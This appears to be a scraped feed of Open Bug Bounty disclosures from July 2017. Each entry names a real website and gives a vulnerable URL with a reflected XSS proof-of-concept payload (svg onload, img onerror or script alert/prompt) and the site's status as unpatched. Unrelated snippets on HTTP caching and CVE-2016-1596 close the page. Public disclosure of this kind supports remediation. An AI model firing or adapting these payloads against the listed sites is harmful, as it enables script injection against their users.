m.activeyou.co.uk XSS vulnerability

Vulnerable URL: http://www.m.activeyou.co.uk/topoffer.php?url=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

altecconnect.altec.com XSS vulnerability

Vulnerable URL: https://altecconnect.altec.com/OAHTML/ibeCAcpCustomLogin.jsp?username=%22%3E%3Csvg/onload=alert%27OPENBUGBOUNTY%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

p2g.org XSS vulnerability

Vulnerable URL: https://www.p2g.org/signin2.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 12728083 VIP website status:| No Check p2g.org SSL connection:| Grade: B+ Coordinated...

dailykarabakh.com XSS vulnerability

Vulnerable URL: http://www.dailykarabakh.com/axtar.php?lang=az%22%3E%3Cscript%3Ealert%28%22OPENBUGBOUNTY%22%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 279629 VI...

py.jobomas.com XSS vulnerability

Vulnerable URL: http://py.jobomas.com/imagen.php?Id=3=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

sepehr.aut.ac.ir XSS vulnerability

Vulnerable URL: http://sepehr.aut.ac.ir/cic/admin/?f=p1=ad.pw=1&rf=P2Y9cDEmcz1hZC5hZGQmbD0x Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

my.yrc.com XSS vulnerability

Vulnerable URL: https://my.yrc.com/dynamic/national/servlet;jsessionid=XG18xpx5!-1893051026 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

webmail.isiz.nl XSS vulnerability

Vulnerable URL: https://webmail.isiz.nl/webmail/?color=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VI...

webmail.acbingenieria.cl XSS vulnerability

Vulnerable URL: http://webmail.acbingenieria.cl/webmail/?color=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

webmail.genepool.co.za XSS vulnerability

Vulnerable URL: https://webmail.genepool.co.za/webmail/old/?color=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

mail.teksavvy.com XSS vulnerability

Vulnerable URL: https://mail.teksavvy.com/webmail/?color=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

cijash.com.mx XSS vulnerability

Vulnerable URL: http://www.cijash.com.mx/webmail/index.php?femail=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 27.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not...

mml.org XSS vulnerability

Vulnerable URL: http://www.mml.org/classifieds/results.php?Management=General%20Management%201%22--%3E%3C/script%3E%3Csvg/onload=%27;alert%28/OPENBUGBOUNTY/%29;%27%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status...

meetgrace.com XSS vulnerability

Vulnerable URL: https://meetgrace.com/resources/wp-includes/js/mediaelement/flashmediaelement.swf?jsinitfunctio%gn=alertOPENBUGBOUNTY Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

tpcrimestoppers.com XSS vulnerability

Vulnerable URL: http://www.tpcrimestoppers.com/search.php?k=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4364516 VIP websi...

insidesources.com XSS vulnerability

Vulnerable URL: http://www.insidesources.com/?s=%22%3E%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 405704 VIP website status:|...

atoutvert.com XSS vulnerability

Vulnerable URL: http://atoutvert.com/catalogue/resultat.php?mots=%22%3E%3Cscript%3Ealert%280%29%3C/script%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated...

munkaugyes.hu XSS vulnerability

Vulnerable URL: http://www.munkaugyes.hu/search.php?s=%3Cimg%20src=x%20onerror=prompt%28/OPENBUGBOUNTY/%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculate...

Caching best practices & max-age gotchas

Getting caching right yields huge performance benefits, saves bandwidth, and reduces server costs, but many sites half-arse their caching, creating race conditions resulting in interdependent resources getting out of sync. The vast majority of best-practice caching falls into one of two patterns:...

CVE-2016-1596

Multiple cross-site scripting XSS vulnerabilities in Micro Focus Novell Service Desk before 7.2 allow remote authenticated users to inject arbitrary web script or HTML via a certain 1 user name, 2 tfaClientFirstName, 3 tfaClientLastName, 4 taselectedTopicContent, 5 tforgUnitName, 6...